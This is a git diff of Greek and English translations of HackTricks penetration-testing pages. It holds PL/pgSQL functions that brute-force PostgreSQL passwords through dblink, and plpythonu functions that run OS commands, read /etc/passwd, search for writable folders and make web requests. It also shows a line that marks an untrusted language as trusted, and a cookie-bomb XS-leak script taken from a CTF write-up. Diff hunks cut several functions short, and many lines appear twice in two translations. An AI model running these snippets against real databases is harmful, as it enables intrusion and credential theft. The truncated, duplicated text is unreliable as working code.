* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Βρείτε [περισσότερες πληροφορίες σχετικά με αυτήν την επίθεση στο αρχικό άρθρο](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
Το PL/pgSQL είναι μια **πλήρως λειτουργική γλώσσα προγραμματισμού** που υπερβαίνει τις δυνατότητες της SQL προσφέροντας **ενισχυμένο διαδικαστικό έλεγχο**. Αυτό περιλαμβάνει τη χρήση βρόχων και διάφορων δομών ελέγχου. Οι συναρτήσεις που δημιουργούνται στη γλώσσα PL/pgSQL μπορούν να κληθούν από εντολές SQL και triggers, διευρύνοντας το πεδίο λειτουργιών εντός του περιβάλλοντος της βάσης δεδομένων.
PL/pgSQL είναι μια **πλήρως χαρακτηριστική γλώσσα προγραμματισμού** που επεκτείνει τις δυνατότητες του SQL προσφέροντας **βελτιωμένο διαδικαστικό έλεγχο**. Αυτό περιλαμβάνει τη χρήση βρόχων και διάφορων δομών ελέγχου. Οι συναρτήσεις που έχουν δημιουργηθεί στη γλώσσα PL/pgSQL μπορούν να κληθούν από δηλώσεις SQL και triggers, διευρύνοντας το πεδίο των λειτουργιών εντός του περιβάλλοντος της βάσης δεδομένων.
Μπορείτε να καταχραστείτε αυτήν τη γλώσσα για να ζητήσετε από το PostgreSQL να βίαια δοκιμάσει τα διαπιστευτήρια των χρηστών, αλλά πρέπει να υπάρχει στη βάση δεδομένων. Μπορείτε να επαληθεύσετε την ύπαρξή του χρησιμοποιώντας:
Μπορείτε να καταχραστείτε αυτή τη γλώσσα προκειμένου να ζητήσετε από το PostgreSQL να κάνει brute-force τα διαπιστευτήρια των χρηστών, αλλά πρέπει να υπάρχει στη βάση δεδομένων. Μπορείτε να επιβεβαιώσετε την ύπαρξή της χρησιμοποιώντας:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
Από προεπιλογή, **η δημιουργία συναρτήσεων είναι ένα προνόμιο που χορηγείται στο PUBLIC**, όπου το PUBLIC αναφέρεται σε κάθε χρήστη σε αυτό το σύστημα βάσης δεδομένων. Για να αποτραπεί αυτό, ο διαχειριστής θα μπορούσε να ανακαλέσει το προνόμιο USAGE από τον τομέα PUBLIC:
Κατά προεπιλογή, **η δημιουργία συναρτήσεων είναι ένα προνόμιο που παραχωρείται στο PUBLIC**, όπου το PUBLIC αναφέρεται σε κάθε χρήστη αυτού του συστήματος βάσης δεδομένων. Για να το αποτρέψει αυτό, ο διαχειριστής θα μπορούσε να είχε ανακαλέσει το προνόμιο USAGE από το δημόσιο τομέα:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
Σε αυτήν την περίπτωση, η προηγούμενη ερώτησή μας θα εμφάνιζε διαφορετικά αποτελέσματα:
Σε αυτή την περίπτωση, το προηγούμενο ερώτημά μας θα έβγαζε διαφορετικά αποτελέσματα:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Σημείωση ότι για το παρακάτω σενάριο να λειτουργήσει **η συνάρτηση `dblink` πρέπει να υπάρχει**. Αν δεν υπάρχει, μπορείτε να προσπαθήσετε να τη δημιουργήσετε με την εντολή&#x20;
Σημειώστε ότι για να λειτουργήσει το παρακάτω σενάριο **η συνάρτηση `dblink` πρέπει να υπάρχει**. Αν δεν υπάρχει, μπορείτε να προσπαθήσετε να την δημιουργήσετε με
```sql
CREATE EXTENSION dblink;
```
## Βίαιη Δοκιμή Κωδικού Πρόσβασης
## Password Brute Force
Εδώ είναι πώς μπορείτε να εκτελέσετε μια βίαιη δοκιμή κωδικού πρόσβασης με 4 χαρακτήρες:
Εδώ είναι πώς μπορείτε να εκτελέσετε μια επίθεση brute force σε κωδικό πρόσβασης 4 χαρακτήρων:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Σημείωση ότι ακόμα και η επίθεση με βίαιη δοκιμή 4 χαρακτήρων μπορεί να διαρκέσει αρκετά λεπτά._
_Σημειώστε ότι ακόμη και η βίαιη δοκιμή 4 χαρακτήρων μπορεί να διαρκέσει αρκετά λεπτά._
Μπορείτε επίσης **να κατεβάσετε έναν κατάλογο λέξεων** και να δοκιμάσετε μόνο αυτούς τους κωδικούς (επίθεση λεξικού):
Μπορείτε επίσης να **κατεβάσετε μια λίστα λέξεων** και να δοκιμάσετε μόνο αυτούς τους κωδικούς πρόσβασης (επίθεση λεξικού):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,41 +1,41 @@
# RCE with PostgreSQL Languages
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Γλώσσες του PostgreSQL
## PostgreSQL Languages
Η βάση δεδομένων PostgreSQL στην οποία αποκτήσατε πρόσβαση μπορεί να έχει εγκατεστημένες διάφορες **γλώσσες προγραμματισμού** που μπορείτε να καταχραστείτε για να **εκτελέσετε αυθαίρετο κώδικα**.
Μπορείτε να τις **εκτελέσετε**:
Η βάση δεδομένων PostgreSQL στην οποία έχετε πρόσβαση μπορεί να έχει διαφορετικές **γλώσσες scripting εγκατεστημένες** που θα μπορούσατε να εκμεταλλευτείτε για να **εκτελέσετε αυθαίρετο κώδικα**.
Μπορείτε να **τις εκκινήσετε**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Οι περισσότερες γλώσσες προγραμματισμού που μπορείτε να εγκαταστήσετε στο PostgreSQL έχουν **2 εκδόσεις**: η **αξιόπιστη** και η **μη αξιόπιστη**. Η **μη αξιόπιστη** θα έχει ένα όνομα **που τελειώνει σε "u"** και θα είναι η έκδοση που θα σας επιτρέπει να **εκτελέσετε κώδικα** και να χρησιμοποιείτε άλλες ενδιαφέρουσες λειτουργίες. Αυτές είναι ορισμένες από τις γλώσσες που είναι ενδιαφέρουσες αν εγκατασταθούν:
Οι περισσότερες από τις γλώσσες scripting που μπορείτε να εγκαταστήσετε στο PostgreSQL έχουν **2 γεύσεις**: την **έμπιστη** και την **μη έμπιστη**. Η **μη έμπιστη** θα έχει ένα όνομα **που τελειώνει σε "u"** και θα είναι η έκδοση που θα σας επιτρέπει να **εκτελείτε κώδικα** και να χρησιμοποιείτε άλλες ενδιαφέρουσες λειτουργίες. Αυτές είναι γλώσσες που αν εγκατασταθούν είναι ενδιαφέρουσες:
* **plpythonu**
* **plpython3u**
* **plperlu**
* **pljavaU**
* **plrubyu**
* ... (οποιαδήποτε άλλη γλώσσα προγραμματισμού χρησιμοποιεί μια μη ασφαλή έκδοση)
* ... (οποιαδήποτε άλλη γλώσσα προγραμματισμού που χρησιμοποιεί μια ανασφαλή έκδοση)
{% hint style="warning" %}
Αν ανακαλύψετε ότι μια ενδιαφέρουσα γλώσσα είναι **εγκατεστημένη** αλλά **μη αξιόπιστη** από το PostgreSQL (**`lanpltrusted`** είναι **`false`**), μπορείτε να προσπαθήσετε να την **εμπιστευτείτε** με την παρακάτω γραμμή, ώστε να μην εφαρμοστούν περιορισμοί από το PostgreSQL:
Αν διαπιστώσετε ότι μια ενδιαφέρουσα γλώσσα είναι **εγκατεστημένη** αλλά **μη έμπιστη** από το PostgreSQL (**`lanpltrusted`** είναι **`false`**) μπορείτε να προσπαθήσετε να την **εμπιστευθείτε** με την παρακάτω γραμμή ώστε να μην εφαρμοστούν περιορισμοί από το PostgreSQL:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
@ -44,8 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
{% endhint %}
{% hint style="danger" %}
Αν δεν βλέπετε μια γλώσσα, μπορείτε να προσπαθήσετε να τη φορτώσετε με (**πρέπει να είστε superadmin**):
Αν δεν βλέπετε μια γλώσσα, μπορείτε να προσπαθήσετε να την φορτώσετε με (**πρέπει να είστε superadmin**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
@ -55,12 +54,12 @@ CREATE EXTENSION plrubyu;
```
{% endhint %}
Σημείωση ότι είναι δυνατόν να μεταγλωττίσετε τις ασφαλείς εκδόσεις ως "ανασφαλείς". Ελέγξτε [**αυτό**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) για παράδειγμα. Έτσι, αξίζει πάντα να δοκιμάσετε να εκτελέσετε κώδικα, ακόμα κι αν βρείτε μόνο την εγκατεστημένη **αξιόπιστη** έκδοση.
Σημειώστε ότι είναι δυνατόν να μεταγλωττιστούν οι ασφαλείς εκδόσεις ως "μη ασφαλείς". Δείτε [**αυτό**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) για παράδειγμα. Έτσι, αξίζει πάντα να δοκιμάσετε αν μπορείτε να εκτελέσετε κώδικα, ακόμη και αν βρείτε εγκατεστημένη μόνο την **έμπιστη** έκδοση.
## plpythonu/plpython3u
{% tabs %}
{% tab title="undefined" %}
{% tab title="RCE" %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
@ -75,7 +74,7 @@ SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Λάβετε χρήστη OS" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
@ -89,7 +88,7 @@ SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Λίστα καταλόγου" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
@ -105,7 +104,7 @@ SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Βρείτε τον φάκελο W" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
@ -134,7 +133,7 @@ SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Βρείτε Αρχείο" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -169,7 +168,7 @@ SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Βρείτε εκτελέσιμα αρχεία" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
@ -203,7 +202,7 @@ SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Βρείτε exec με υποκαταστάσεις" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -238,7 +237,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Διαβάστε" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -254,7 +253,7 @@ select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Λάβετε άδειες" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
@ -270,7 +269,7 @@ select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="Αίτηση" %}
{% tab title="Αίτημα" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
@ -313,14 +312,17 @@ SELECT req3('https://google.com'); #Request using python3
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Βόμβα Cookie + Αποκάλυψη XS με Onerror
# Cookie Bomb + Onerror XS Leak
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Το παρακάτω **σενάριο** που προέρχεται από [**εδώ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) εκμεταλλεύεται μια λειτουργία που επιτρέπει στον χρήστη να **εισάγει οποιοδήποτε ποσότητα cookies**, και στη συνέχεια φορτώνει ένα αρχείο ως script, γνωρίζοντας ότι η πραγματική απόκριση θα είναι μεγαλύτερη από την ψευδή. Εάν επιτευχθεί, η απόκριση είναι μια ανακατεύθυνση με ένα URL αποτέλεσμα που είναι μεγαλύτερο, **πολύ μεγάλο για να χειριστεί από τον διακομιστή, οπότε επιστρέφει έναν κωδικό κατάστασης σφάλματος http**. Εάν η αναζήτηση αποτύχει, δεν θα συμβεί τίποτα επειδή το URL είναι σύντομο.
The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **εισάγει οποιοδήποτε ποσό cookies**, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, **πολύ μεγάλο για να το διαχειριστεί ο διακομιστής, οπότε επιστρέφει έναν κωδικό κατάστασης http σφάλματος**. If the search fails, nothing will happen because URL is short.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
@ -61,14 +64,17 @@ break;
};
</script>
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Αποκάλυψη XS Τροποποίησης Εκτέλεσης Κώδικα JavaScript
# JavaScript Execution XS Leak
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
